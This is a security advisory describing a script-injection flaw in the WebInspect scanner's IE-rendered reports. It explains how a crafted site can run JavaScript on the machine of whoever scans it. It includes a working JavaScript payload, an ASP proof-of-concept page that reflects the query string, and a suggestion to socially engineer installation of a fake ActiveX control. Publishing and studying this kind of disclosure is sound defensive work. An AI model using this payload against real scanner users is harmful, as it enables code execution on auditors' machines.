Details
As many applications WebInspect uses external programs and Windows components for different purposes. It is very common to use COM object of Internet Explorer for render reports and displays data. WebInspect in not an exception.
When reports is generated, some parts of scanned site (for example URLs) are included into HTML file (file://C:\Program Files\SPIDynamics\WebInspect\Working\vulnerability.htm), which opens in IE. Because WebInspect doesn't properly normalize displayed data, part of URL or other data can be parsed by IE as DHTML, for example JavaScript, and leads to code execution on the computer where scanner is installed.
Analysis:
Successful exploitation allows remote attackers to execute arbitrary script code on the host, where scanner is installed with privileges of user who launch the scanner. Victim should scan site and openreport.
Typically scanner runs on administrator's or security auditor's box with a lot of interesting data. It possibly runs under high-privileged account.
Attacker should create specially crafted site with vulnerability to be displayed in report. "Vulnerable" URL should include script code. Example of such report is a "Hidden Form Value Vulnerability ID: 4727".
By default script is executed in Internet Security Zone of IE (not sure). But with little effort attacker can use predictable resource location to bypass restrictions of Internet Zone and execute script in "My Computer" security zone.
Example:
< script>window.open('file://C:\\Program Files\\SPIDynamics\\WebInspect\\Working\\vulnerability.htm')</script>
Attacker can use social engineering to install full featured application, for example new version of "SPIDynamics Reported ActiveX".
Proof of Concept:
Following ASP file can be used to reproduce vulnerability:
<*****************iisstart.asp***********************>
复制内容到剪贴板
代码:
< HTML>< HEAD>< BODY>
<%
if request.querystring<>"" then
response.write request.querystring
end if
%>
< form action="script>/<script>window.open(%27file://C:\\Program Files\\SPIDynamics\\WebInspect\\Working\\vulnerability.htm%27)</script>" method=get> Please login:< br>
< input type=submit value="Login"><br> < input type=hidden name='hidden' value="Login">< br> </form>
< /BODY>< /HTML></*****************iisstart.asp***********************>
You should change default error page to iisstart.asp.
